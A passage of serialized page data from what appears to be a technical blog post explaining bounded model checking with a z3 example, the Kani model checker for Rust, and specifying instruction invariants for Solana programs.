",{"type":23,"tag":139,"props":17158,"children":17159},{"style":982},[17160],{"type":28,"value":1067},{"type":23,"tag":139,"props":17162,"children":17163},{"style":259},[17164],{"type":28,"value":2516},{"type":23,"tag":139,"props":17166,"children":17167},{"style":982},[17168],{"type":28,"value":2573},{"type":23,"tag":139,"props":17170,"children":17171},{"style":1016},[17172],{"type":28,"value":5938},{"type":23,"tag":139,"props":17174,"children":17175},{"style":259},[17176],{"type":28,"value":995},{"type":23,"tag":139,"props":17178,"children":17179},{"class":141,"line":187},[17180,17184,17188],{"type":23,"tag":139,"props":17181,"children":17182},{"style":259},[17183],{"type":28,"value":13790},{"type":23,"tag":139,"props":17185,"children":17186},{"style":319},[17187],{"type":28,"value":1293},{"type":23,"tag":139,"props":17189,"children":17190},{"style":259},[17191],{"type":28,"value":1268},{"type":23,"tag":139,"props":17193,"children":17194},{"class":141,"line":196},[17195,17199,17203,17207,17211,17215],{"type":23,"tag":139,"props":17196,"children":17197},{"style":259},[17198],{"type":28,"value":17156},{"type":23,"tag":139,"props":17200,"children":17201},{"style":982},[17202],{"type":28,"value":1067},{"type":23,"tag":139,"props":17204,"children":17205},{"style":259},[17206],{"type":28,"value":2516},{"type":23,"tag":139,"props":17208,"children":17209},{"style":982},[17210],{"type":28,"value":2382},{"type":23,"tag":139,"props":17212,"children":17213},{"style":1016},[17214],{"type":28,"value":2525},{"type":23,"tag":139,"props":17216,"children":17217},{"style":259},[17218],{"type":28,"value":995},{"type":23,"tag":139,"props":17220,"children":17221},{"class":141,"line":205},[17222],{"type":23,"tag":139,"props":17223,"children":17224},{"style":259},[17225],{"type":28,"value":1335},{"type":23,"tag":139,"props":17227,"children":17228},{"class":141,"line":214},[17229],{"type":23,"tag":139,"props":17230,"children":17231},{"emptyLinePlaceholder":15},[17232],{"type":28,"value":184},{"type":23,"tag":139,"props":17234,"children":17235},{"class":141,"line":1320},[17236],{"type":23,"tag":139,"props":17237,"children":17238},{"style":958},[17239],{"type":28,"value":17240},"    // Property P:\n",{"type":23,"tag":139,"props":17242,"children":17243},{"class":141,"line":1329},[17244,17249,17254,17258,17263],{"type":23,"tag":139,"props":17245,"children":17246},{"style":245},[17247],{"type":28,"value":17248},"    assert",{"type":23,"tag":139,"props":17250,"children":17251},{"style":259},[17252],{"type":28,"value":17253},"(z ",{"type":23,"tag":139,"props":17255,"children":17256},{"style":982},[17257],{"type":28,"value":13699},{"type":23,"tag":139,"props":17259,"children":17260},{"style":1016},[17261],{"type":28,"value":17262}," 105",{"type":23,"tag":139,"props":17264,"children":17265},{"style":259},[17266],{"type":28,"value":1820},{"type":23,"tag":139,"props":17268,"children":17269},{"class":141,"line":1580},[17270],{"type":23,"tag":139,"props":17271,"children":17272},{"style":259},[17273],{"type":28,"value":1897},{"type":23,"tag":24,"props":17275,"children":17276},{},[17277,17279,17285,17287,17293],{"type":28,"value":17278},"This function takes an input ",{"type":23,"tag":135,"props":17280,"children":17282},{"className":17281},[],[17283],{"type":28,"value":17284},"x",{"type":28,"value":17286}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":135,"props":17288,"children":17290},{"className":17289},[],[17291],{"type":28,"value":17292},"z != 105",{"type":28,"value":73},{"type":23,"tag":24,"props":17295,"children":17296},{},[17297],{"type":28,"value":17298},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":24,"props":17300,"children":17301},{},[17302],{"type":28,"value":17303},"Positive branch:",{"type":23,"tag":128,"props":17305,"children":17307},{"code":17306,"language":1123,"meta":7,"className":14526,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[17308],{"type":23,"tag":135,"props":17309,"children":17310},{"__ignoreMap":7},[17311,17336,17352],{"type":23,"tag":139,"props":17312,"children":17313},{"class":141,"line":142},[17314,17319,17323,17327,17331],{"type":23,"tag":139,"props":17315,"children":17316},{"style":259},[17317],{"type":28,"value":17318},"y ",{"type":23,"tag":139,"props":17320,"children":17321},{"style":982},[17322],{"type":28,"value":6580},{"type":23,"tag":139,"props":17324,"children":17325},{"style":259},[17326],{"type":28,"value":17098},{"type":23,"tag":139,"props":17328,"children":17329},{"style":982},[17330],{"type":28,"value":2382},{"type":23,"tag":139,"props":17332,"children":17333},{"style":1016},[17334],{"type":28,"value":17335}," 3\n",{"type":23,"tag":139,"props":17337,"children":17338},{"class":141,"line":151},[17339,17343,17347],{"type":23,"tag":139,"props":17340,"children":17341},{"style":259},[17342],{"type":28,"value":17318},{"type":23,"tag":139,"props":17344,"children":17345},{"style":982},[17346],{"type":28,"value":8471},{"type":23,"tag":139,"props":17348,"children":17349},{"style":1016},[17350],{"type":28,"value":17351}," 100\n",{"type":23,"tag":139,"props":17353,"children":17354},{"class":141,"line":160},[17355,17360,17364,17368,17372],{"type":23,"tag":139,"props":17356,"children":17357},{"style":259},[17358],{"type":28,"value":17359},"z ",{"type":23,"tag":139,"props":17361,"children":17362},{"style":982},[17363],{"type":28,"value":6580},{"type":23,"tag":139,"props":17365,"children":17366},{"style":259},[17367],{"type":28,"value":2516},{"type":23,"tag":139,"props":17369,"children":17370},{"style":982},[17371],{"type":28,"value":2573},{"type":23,"tag":139,"props":17373,"children":17374},{"style":1016},[17375],{"type":28,"value":17376}," 2\n",{"type":23,"tag":24,"props":17378,"children":17379},{},[17380],{"type":28,"value":17381},"Negative branch:",{"type":23,"tag":128,"props":17383,"children":17385},{"code":17384,"language":1123,"meta":7,"className":14526,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[17386],{"type":23,"tag":135,"props":17387,"children":17388},{"__ignoreMap":7},[17389,17412,17428],{"type":23,"tag":139,"props":17390,"children":17391},{"class":141,"line":142},[17392,17396,17400,17404,17408],{"type":23,"tag":139,"props":17393,"children":17394},{"style":259},[17395],{"type":28,"value":17318},{"type":23,"tag":139,"props":17397,"children":17398},{"style":982},[17399],{"type":28,"value":6580},{"type":23,"tag":139,"props":17401,"children":17402},{"style":259},[17403],{"type":28,"value":17098},{"type":23,"tag":139,"props":17405,"children":17406},{"style":982},[17407],{"type":28,"value":2382},{"type":23,"tag":139,"props":17409,"children":17410},{"style":1016},[17411],{"type":28,"value":17335},{"type":23,"tag":139,"props":17413,"children":17414},{"class":141,"line":151},[17415,17419,17424],{"type":23,"tag":139,"props":17416,"children":17417},{"style":259},[17418],{"type":28,"value":17318},{"type":23,"tag":139,"props":17420,"children":17421},{"style":982},[17422],{"type":28,"value":17423},"\u003C=",{"type":23,"tag":139,"props":17425,"children":17426},{"style":1016},[17427],{"type":28,"value":17351},{"type":23,"tag":139,"props":17429,"children":17430},{"class":141,"line":160},[17431,17435,17439,17443,17447],{"type":23,"tag":139,"props":17432,"children":17433},{"style":259},[17434],{"type":28,"value":17359},{"type":23,"tag":139,"props":17436,"children":17437},{"style":982},[17438],{"type":28,"value":6580},{"type":23,"tag":139,"props":17440,"children":17441},{"style":259},[17442],{"type":28,"value":2516},{"type":23,"tag":139,"props":17444,"children":17445},{"style":982},[17446],{"type":28,"value":2382},{"type":23,"tag":139,"props":17448,"children":17449},{"style":1016},[17450],{"type":28,"value":17451}," 1\n",{"type":23,"tag":24,"props":17453,"children":17454},{},[17455,17457,17464],{"type":28,"value":17456},"Using the ",{"type":23,"tag":64,"props":17458,"children":17461},{"href":17459,"rel":17460},"https://github.com/Z3Prover/z3",[68],[17462],{"type":28,"value":17463},"z3",{"type":28,"value":17465}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":128,"props":17467,"children":17469},{"code":17468,"language":235,"meta":7,"className":233,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n",[17470],{"type":23,"tag":135,"props":17471,"children":17472},{"__ignoreMap":7},[17473,17496,17503,17529,17553,17577,17584,17592,17609,17637,17656,17684,17691,17699,17720,17738,17745,17753,17768,17795,17814,17841,17848,17855,17874],{"type":23,"tag":139,"props":17474,"children":17475},{"class":141,"line":142},[17476,17481,17486,17491],{"type":23,"tag":139,"props":17477,"children":17478},{"style":319},[17479],{"type":28,"value":17480},"from",{"type":23,"tag":139,"props":17482,"children":17483},{"style":259},[17484],{"type":28,"value":17485}," z3 ",{"type":23,"tag":139,"props":17487,"children":17488},{"style":319},[17489],{"type":28,"value":17490},"import",{"type":23,"tag":139,"props":17492,"children":17493},{"style":982},[17494],{"type":28,"value":17495}," *\n",{"type":23,"tag":139,"props":17497,"children":17498},{"class":141,"line":151},[17499],{"type":23,"tag":139,"props":17500,"children":17501},{"emptyLinePlaceholder":15},[17502],{"type":28,"value":184},{"type":23,"tag":139,"props":17504,"children":17505},{"class":141,"line":160},[17506,17511,17515,17520,17525],{"type":23,"tag":139,"props":17507,"children":17508},{"style":259},[17509],{"type":28,"value":17510},"x ",{"type":23,"tag":139,"props":17512,"children":17513},{"style":982},[17514],{"type":28,"value":1067},{"type":23,"tag":139,"props":17516,"children":17517},{"style":259},[17518],{"type":28,"value":17519}," Int(",{"type":23,"tag":139,"props":17521,"children":17522},{"style":265},[17523],{"type":28,"value":17524},"'x'",{"type":23,"tag":139,"props":17526,"children":17527},{"style":259},[17528],{"type":28,"value":273},{"type":23,"tag":139,"props":17530,"children":17531},{"class":141,"line":169},[17532,17536,17540,17544,17549],{"type":23,"tag":139,"props":17533,"children":17534},{"style":259},[17535],{"type":28,"value":17318},{"type":23,"tag":139,"props":17537,"children":17538},{"style":982},[17539],{"type":28,"value":1067},{"type":23,"tag":139,"props":17541,"children":17542},{"style":259},[17543],{"type":28,"value":17519},{"type":23,"tag":139,"props":17545,"children":17546},{"style":265},[17547],{"type":28,"value":17548},"'y'",{"type":23,"tag":139,"props":17550,"children":17551},{"style":259},[17552],{"type":28,"value":273},{"type":23,"tag":139,"props":17554,"children":17555},{"class":141,"line":178},[17556,17560,17564,17568,17573],{"type":23,"tag":139,"props":17557,"children":17558},{"style":259},[17559],{"type":28,"value":17359},{"type":23,"tag":139,"props":17561,"children":17562},{"style":982},[17563],{"type":28,"value":1067},{"type":23,"tag":139,"props":17565,"children":17566},{"style":259},[17567],{"type":28,"value":17519},{"type":23,"tag":139,"props":17569,"children":17570},{"style":265},[17571],{"type":28,"value":17572},"'z'",{"type":23,"tag":139,"props":17574,"children":17575},{"style":259},[17576],{"type":28,"value":273},{"type":23,"tag":139,"props":17578,"children":17579},{"class":141,"line":187},[17580],{"type":23,"tag":139,"props":17581,"children":17582},{"emptyLinePlaceholder":15},[17583],{"type":28,"value":184},{"type":23,"tag":139,"props":17585,"children":17586},{"class":141,"line":196},[17587],{"type":23,"tag":139,"props":17588,"children":17589},{"style":958},[17590],{"type":28,"value":17591},"# Positive branch:\n",{"type":23,"tag":139,"props":17593,"children":17594},{"class":141,"line":205},[17595,17600,17604],{"type":23,"tag":139,"props":17596,"children":17597},{"style":259},[17598],{"type":28,"value":17599},"s ",{"type":23,"tag":139,"props":17601,"children":17602},{"style":982},[17603],{"type":28,"value":1067},{"type":23,"tag":139,"props":17605,"children":17606},{"style":259},[17607],{"type":28,"value":17608}," Solver()\n",{"type":23,"tag":139,"props":17610,"children":17611},{"class":141,"line":214},[17612,17617,17621,17625,17629,17633],{"type":23,"tag":139,"props":17613,"children":17614},{"style":259},[17615],{"type":28,"value":17616},"s.add(y ",{"type":23,"tag":139,"props":17618,"children":17619},{"style":982},[17620],{"type":28,"value":6580},{"type":23,"tag":139,"props":17622,"children":17623},{"style":259},[17624],{"type":28,"value":17098},{"type":23,"tag":139,"props":17626,"children":17627},{"style":982},[17628],{"type":28,"value":2382},{"type":23,"tag":139,"props":17630,"children":17631},{"style":1016},[17632],{"type":28,"value":17107},{"type":23,"tag":139,"props":17634,"children":17635},{"style":259},[17636],{"type":28,"value":273},{"type":23,"tag":139,"props":17638,"children":17639},{"class":141,"line":1320},[17640,17644,17648,17652],{"type":23,"tag":139,"props":17641,"children":17642},{"style":259},[17643],{"type":28,"value":17616},{"type":23,"tag":139,"props":17645,"children":17646},{"style":982},[17647],{"type":28,"value":8471},{"type":23,"tag":139,"props":17649,"children":17650},{"style":1016},[17651],{"type":28,"value":17144},{"type":23,"tag":139,"props":17653,"children":17654},{"style":259},[17655],{"type":28,"value":273},{"type":23,"tag":139,"props":17657,"children":17658},{"class":141,"line":1329},[17659,17664,17668,17672,17676,17680],{"type":23,"tag":139,"props":17660,"children":17661},{"style":259},[17662],{"type":28,"value":17663},"s.add(z ",{"type":23,"tag":139,"props":17665,"children":17666},{"style":982},[17667],{"type":28,"value":6580},{"type":23,"tag":139,"props":17669,"children":17670},{"style":259},[17671],{"type":28,"value":2516},{"type":23,"tag":139,"props":17673,"children":17674},{"style":982},[17675],{"type":28,"value":2573},{"type":23,"tag":139,"props":17677,"children":17678},{"style":1016},[17679],{"type":28,"value":5938},{"type":23,"tag":139,"props":17681,"children":17682},{"style":259},[17683],{"type":28,"value":273},{"type":23,"tag":139,"props":17685,"children":17686},{"class":141,"line":1580},[17687],{"type":23,"tag":139,"props":17688,"children":17689},{"emptyLinePlaceholder":15},[17690],{"type":28,"value":184},{"type":23,"tag":139,"props":17692,"children":17693},{"class":141,"line":1597},[17694],{"type":23,"tag":139,"props":17695,"children":17696},{"style":958},[17697],{"type":28,"value":17698},"# check if we can violate the correctness property\n",{"type":23,"tag":139,"props":17700,"children":17701},{"class":141,"line":1614},[17702,17707,17711,17715],{"type":23,"tag":139,"props":17703,"children":17704},{"style":259},[17705],{"type":28,"value":17706},"s.add(Not(z ",{"type":23,"tag":139,"props":17708,"children":17709},{"style":982},[17710],{"type":28,"value":13699},{"type":23,"tag":139,"props":17712,"children":17713},{"style":1016},[17714],{"type":28,"value":17262},{"type":23,"tag":139,"props":17716,"children":17717},{"style":259},[17718],{"type":28,"value":17719},"))\n",{"type":23,"tag":139,"props":17721,"children":17722},{"class":141,"line":1627},[17723,17728,17733],{"type":23,"tag":139,"props":17724,"children":17725},{"style":245},[17726],{"type":28,"value":17727},"print",{"type":23,"tag":139,"props":17729,"children":17730},{"style":259},[17731],{"type":28,"value":17732},"(s.check()) ",{"type":23,"tag":139,"props":17734,"children":17735},{"style":958},[17736],{"type":28,"value":17737},"# \"unsat\"\n",{"type":23,"tag":139,"props":17739,"children":17740},{"class":141,"line":1636},[17741],{"type":23,"tag":139,"props":17742,"children":17743},{"emptyLinePlaceholder":15},[17744],{"type":28,"value":184},{"type":23,"tag":139,"props":17746,"children":17747},{"class":141,"line":1659},[17748],{"type":23,"tag":139,"props":17749,"children":17750},{"style":958},[17751],{"type":28,"value":17752},"# Negative branch:\n",{"type":23,"tag":139,"props":17754,"children":17755},{"class":141,"line":1667},[17756,17760,17764],{"type":23,"tag":139,"props":17757,"children":17758},{"style":259},[17759],{"type":28,"value":17599},{"type":23,"tag":139,"props":17761,"children":17762},{"style":982},[17763],{"type":28,"value":1067},{"type":23,"tag":139,"props":17765,"children":17766},{"style":259},[17767],{"type":28,"value":17608},{"type":23,"tag":139,"props":17769,"children":17770},{"class":141,"line":1676},[17771,17775,17779,17783,17787,17791],{"type":23,"tag":139,"props":17772,"children":17773},{"style":259},[17774],{"type":28,"value":17616},{"type":23,"tag":139,"props":17776,"children":17777},{"style":982},[17778],{"type":28,"value":6580},{"type":23,"tag":139,"props":17780,"children":17781},{"style":259},[17782],{"type":28,"value":17098},{"type":23,"tag":139,"props":17784,"children":17785},{"style":982},[17786],{"type":28,"value":2382},{"type":23,"tag":139,"props":17788,"children":17789},{"style":1016},[17790],{"type":28,"value":17107},{"type":23,"tag":139,"props":17792,"children":17793},{"style":259},[17794],{"type":28,"value":273},{"type":23,"tag":139,"props":17796,"children":17797},{"class":141,"line":1745},[17798,17802,17806,17810],{"type":23,"tag":139,"props":17799,"children":17800},{"style":259},[17801],{"type":28,"value":17616},{"type":23,"tag":139,"props":17803,"children":17804},{"style":982},[17805],{"type":28,"value":17423},{"type":23,"tag":139,"props":17807,"children":17808},{"style":1016},[17809],{"type":28,"value":17144},{"type":23,"tag":139,"props":17811,"children":17812},{"style":259},[17813],{"type":28,"value":273},{"type":23,"tag":139,"props":17815,"children":17816},{"class":141,"line":1753},[17817,17821,17825,17829,17833,17837],{"type":23,"tag":139,"props":17818,"children":17819},{"style":259},[17820],{"type":28,"value":17663},{"type":23,"tag":139,"props":17822,"children":17823},{"style":982},[17824],{"type":28,"value":6580},{"type":23,"tag":139,"props":17826,"children":17827},{"style":259},[17828],{"type":28,"value":2516},{"type":23,"tag":139,"props":17830,"children":17831},{"style":982},[17832],{"type":28,"value":2382},{"type":23,"tag":139,"props":17834,"children":17835},{"style":1016},[17836],{"type":28,"value":2525},{"type":23,"tag":139,"props":17838,"children":17839},{"style":259},[17840],{"type":28,"value":273},{"type":23,"tag":139,"props":17842,"children":17843},{"class":141,"line":1783},[17844],{"type":23,"tag":139,"props":17845,"children":17846},{"emptyLinePlaceholder":15},[17847],{"type":28,"value":184},{"type":23,"tag":139,"props":17849,"children":17850},{"class":141,"line":1791},[17851],{"type":23,"tag":139,"props":17852,"children":17853},{"style":958},[17854],{"type":28,"value":17698},{"type":23,"tag":139,"props":17856,"children":17857},{"class":141,"line":1823},[17858,17862,17866,17870],{"type":23,"tag":139,"props":17859,"children":17860},{"style":259},[17861],{"type":28,"value":17706},{"type":23,"tag":139,"props":17863,"children":17864},{"style":982},[17865],{"type":28,"value":13699},{"type":23,"tag":139,"props":17867,"children":17868},{"style":1016},[17869],{"type":28,"value":17262},{"type":23,"tag":139,"props":17871,"children":17872},{"style":259},[17873],{"type":28,"value":17719},{"type":23,"tag":139,"props":17875,"children":17876},{"class":141,"line":1831},[17877,17881,17885],{"type":23,"tag":139,"props":17878,"children":17879},{"style":245},[17880],{"type":28,"value":17727},{"type":23,"tag":139,"props":17882,"children":17883},{"style":259},[17884],{"type":28,"value":17732},{"type":23,"tag":139,"props":17886,"children":17887},{"style":958},[17888],{"type":28,"value":17737},{"type":23,"tag":24,"props":17890,"children":17891},{},[17892,17894,17900,17902,17907],{"type":28,"value":17893},"Both of these cases return ",{"type":23,"tag":135,"props":17895,"children":17897},{"className":17896},[],[17898],{"type":28,"value":17899},"unsat",{"type":28,"value":17901}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":659,"props":17903,"children":17904},{},[17905],{"type":28,"value":17906},"correct",{"type":28,"value":17908}," according to this property.",{"type":23,"tag":666,"props":17910,"children":17912},{"id":17911},"loop-bounds-path-explosion",[17913],{"type":28,"value":17914},"Loop bounds & path explosion",{"type":23,"tag":24,"props":17916,"children":17917},{},[17918,17920,17925,17927,17932],{"type":28,"value":17919},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":659,"props":17921,"children":17922},{},[17923],{"type":28,"value":17924},"every",{"type":28,"value":17926}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":659,"props":17928,"children":17929},{},[17930],{"type":28,"value":17931},"infinite",{"type":28,"value":17933}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":24,"props":17935,"children":17936},{},[17937],{"type":28,"value":17938},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":24,"props":17940,"children":17941},{},[17942],{"type":28,"value":17943},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":24,"props":17945,"children":17946},{},[17947],{"type":28,"value":17948},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":666,"props":17950,"children":17952},{"id":17951},"kani-model-checker",[17953],{"type":28,"value":17954},"Kani Model Checker",{"type":23,"tag":24,"props":17956,"children":17957},{},[17958,17960,17965],{"type":28,"value":17959},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":64,"props":17961,"children":17963},{"href":16854,"rel":17962},[68],[17964],{"type":28,"value":16858},{"type":28,"value":17966},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":24,"props":17968,"children":17969},{},[17970,17972,17977,17979,17985,17986,17992,17994,18000],{"type":28,"value":17971},"Kani allows you to write ",{"type":23,"tag":659,"props":17973,"children":17974},{},[17975],{"type":28,"value":17976},"proof harnesses",{"type":28,"value":17978}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":135,"props":17980,"children":17982},{"className":17981},[],[17983],{"type":28,"value":17984},"assume",{"type":28,"value":9002},{"type":23,"tag":135,"props":17987,"children":17989},{"className":17988},[],[17990],{"type":28,"value":17991},"assert",{"type":28,"value":17993}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":135,"props":17995,"children":17997},{"className":17996},[],[17998],{"type":28,"value":17999},"cargo kani",{"type":28,"value":18001}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":41,"props":18003,"children":18005},{"id":18004},"specification-how-can-we-describe-what-we-want-our-program-to-do",[18006,18008,18012],{"type":28,"value":18007},"Specification: How can we describe what we ",{"type":23,"tag":659,"props":18009,"children":18010},{},[18011],{"type":28,"value":16928},{"type":28,"value":16930},{"type":23,"tag":24,"props":18014,"children":18015},{},[18016],{"type":23,"tag":659,"props":18017,"children":18018},{},[18019],{"type":23,"tag":56,"props":18020,"children":18021},{},[18022],{"type":28,"value":18023},"And what even do we want it to do?",{"type":23,"tag":24,"props":18025,"children":18026},{},[18027,18029,18034],{"type":28,"value":18028},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":659,"props":18030,"children":18031},{},[18032],{"type":28,"value":18033},"specifying",{"type":28,"value":18035}," what the \"correct\" behavior should be.",{"type":23,"tag":24,"props":18037,"children":18038},{},[18039],{"type":28,"value":18040},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":14699,"props":18042,"children":18043},{},[18044,18056,18068],{"type":23,"tag":801,"props":18045,"children":18046},{},[18047,18049,18054],{"type":28,"value":18048},"\"It should not be possible to ",{"type":23,"tag":56,"props":18050,"children":18051},{},[18052],{"type":28,"value":18053},"steal money",{"type":28,"value":18055}," via a swap program\"",{"type":23,"tag":801,"props":18057,"children":18058},{},[18059,18061,18066],{"type":28,"value":18060},"\"A multisig should never get into a state where you ",{"type":23,"tag":56,"props":18062,"children":18063},{},[18064],{"type":28,"value":18065},"can't sign anything",{"type":28,"value":18067},"\"",{"type":23,"tag":801,"props":18069,"children":18070},{},[18071],{"type":28,"value":18072},"\"User funds in a staking protocol \"",{"type":23,"tag":24,"props":18074,"children":18075},{},[18076,18078,18088,18090,18095],{"type":28,"value":18077},"These are types of properties you can tell your ",{"type":23,"tag":64,"props":18079,"children":18082},{"href":18080,"rel":18081},"https://osec.io/",[68],[18083],{"type":23,"tag":659,"props":18084,"children":18085},{},[18086],{"type":28,"value":18087},"human auditors",{"type":28,"value":18089}," but these English phrases are not particularly useful for ",{"type":23,"tag":659,"props":18091,"children":18092},{},[18093],{"type":28,"value":18094},"automated verification techniques",{"type":28,"value":18096}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":24,"props":18098,"children":18099},{},[18100,18102,18107,18109,18114],{"type":28,"value":18101},"Instead, we need to be able to specify ",{"type":23,"tag":659,"props":18103,"children":18104},{},[18105],{"type":28,"value":18106},"in code",{"type":28,"value":18108}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":135,"props":18110,"children":18112},{"className":18111},[],[18113],{"type":28,"value":17991},{"type":28,"value":18115}," statement.",{"type":23,"tag":666,"props":18117,"children":18119},{"id":18118},"solana-invariants",[18120],{"type":28,"value":18121},"Solana Invariants",{"type":23,"tag":24,"props":18123,"children":18124},{},[18125,18127,18132,18133,18138],{"type":28,"value":18126},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":56,"props":18128,"children":18129},{},[18130],{"type":28,"value":18131},"instruction invariants",{"type":28,"value":9002},{"type":23,"tag":56,"props":18134,"children":18135},{},[18136],{"type":28,"value":18137},"account invariants",{"type":28,"value":73},{"type":23,"tag":16900,"props":18140,"children":18142},{"id":18141},"instruction-invariant",[18143],{"type":28,"value":18144},"Instruction Invariant",{"type":23,"tag":24,"props":18146,"children":18147},{},[18148,18150,18155,18157,18163,18164,18170],{"type":28,"value":18149},"An ",{"type":23,"tag":56,"props":18151,"children":18152},{},[18153],{"type":28,"value":18154},"instruction invariant",{"type":28,"value":18156}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":135,"props":18158,"children":18160},{"className":18159},[],[18161],{"type":28,"value":18162},"succeeds_if",{"type":28,"value":11145},{"type":23,"tag":135,"props":18165,"children":18167},{"className":18166},[],[18168],{"type":28,"value":18169},"errors_if",{"type":28,"value":18171}," macro annotations on the instruction handler.",{"type":23,"tag":24,"props":18173,"children":18174},{},[18175],{"type":28,"value":18176},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":24,"props":18178,"children":18179},{},[18180,18182,18188,18190,18195],{"type":28,"value":18181},"For example, say we have a ",{"type":23,"tag":135,"props":18183,"children":18185},{"className":18184},[],[18186],{"type":28,"value":18187},"Withdraw",{"type":28,"value":18189}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":659,"props":18191,"children":18192},{},[18193],{"type":28,"value":18194},"more",{"type":28,"value":18196}," tokens than their current balance.",{"type":23,"tag":24,"props":18198,"children":18199},{},[18200,18202,18207],{"type":28,"value":18201},"Using our tool, you could specify the following ",{"type":23,"tag":135,"props":18203,"children":18205},{"className":18204},[],[18206],{"type":28,"value":18169},{"type":28,"value":18208}," property on your instruction handler:",{"type":23,"tag":128,"props":18210,"children":18212},{"code":18211,"language":947,"meta":7,"className":948,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[18213],{"type":23,"tag":135,"props":18214,"children":18215},{"__ignoreMap":7},[18216,18224,18259,18267,18340,18348],{"type":23,"tag":139,"props":18217,"children":18218},{"class":141,"line":142},[18219],{"type":23,"tag":139,"props":18220,"children":18221},{"style":259},[18222],{"type":28,"value":18223},"#[errors_if(\n",{"type":23,"tag":139,"props":18225,"children":18226},{"class":141,"line":151},[18227,18232,18236,18241,18245,18250,18254],{"type":23,"tag":139,"props":18228,"children":18229},{"style":259},[18230],{"type":28,"value":18231},"    ctx",{"type":23,"tag":139,"props":18233,"children":18234},{"style":982},[18235],{"type":28,"value":73},{"type":23,"tag":139,"props":18237,"children":18238},{"style":259},[18239],{"type":28,"value":18240},"user",{"type":23,"tag":139,"props":18242,"children":18243},{"style":982},[18244],{"type":28,"value":73},{"type":23,"tag":139,"props":18246,"children":18247},{"style":259},[18248],{"type":28,"value":18249},"balance ",{"type":23,"tag":139,"props":18251,"children":18252},{"style":982},[18253],{"type":28,"value":3808},{"type":23,"tag":139,"props":18255,"children":18256},{"style":259},[18257],{"type":28,"value":18258}," amount\n",{"type":23,"tag":139,"props":18260,"children":18261},{"class":141,"line":160},[18262],{"type":23,"tag":139,"props":18263,"children":18264},{"style":259},[18265],{"type":28,"value":18266},")]\n",{"type":23,"tag":139,"props":18268,"children":18269},{"class":141,"line":169},[18270,18275,18280,18284,18289,18293,18298,18302,18306,18310,18315,18319,18323,18327,18331,18335],{"type":23,"tag":139,"props":18271,"children":18272},{"style":279},[18273],{"type":28,"value":18274},"fn",{"type":23,"tag":139,"props":18276,"children":18277},{"style":245},[18278],{"type":28,"value":18279}," withdraw",{"type":23,"tag":139,"props":18281,"children":18282},{"style":259},[18283],{"type":28,"value":262},{"type":23,"tag":139,"props":18285,"children":18286},{"style":294},[18287],{"type":28,"value":18288},"ctx",{"type":23,"tag":139,"props":18290,"children":18291},{"style":982},[18292],{"type":28,"value":2493},{"type":23,"tag":139,"props":18294,"children":18295},{"style":305},[18296],{"type":28,"value":18297}," Context",{"type":23,"tag":139,"props":18299,"children":18300},{"style":259},[18301],{"type":28,"value":3808},{"type":23,"tag":139,"props":18303,"children":18304},{"style":305},[18305],{"type":28,"value":18187},{"type":23,"tag":139,"props":18307,"children":18308},{"style":259},[18309],{"type":28,"value":4633},{"type":23,"tag":139,"props":18311,"children":18312},{"style":294},[18313],{"type":28,"value":18314},"amount",{"type":23,"tag":139,"props":18316,"children":18317},{"style":982},[18318],{"type":28,"value":2493},{"type":23,"tag":139,"props":18320,"children":18321},{"style":305},[18322],{"type":28,"value":3862},{"type":23,"tag":139,"props":18324,"children":18325},{"style":259},[18326],{"type":28,"value":1062},{"type":23,"tag":139,"props":18328,"children":18329},{"style":982},[18330],{"type":28,"value":11768},{"type":23,"tag":139,"props":18332,"children":18333},{"style":305},[18334],{"type":28,"value":11773},{"type":23,"tag":139,"props":18336,"children":18337},{"style":259},[18338],{"type":28,"value":18339},"\u003C()> {\n",{"type":23,"tag":139,"props":18341,"children":18342},{"class":141,"line":178},[18343],{"type":23,"tag":139,"props":18344,"children":18345},{"style":982},[18346],{"type":28,"value":18347},"    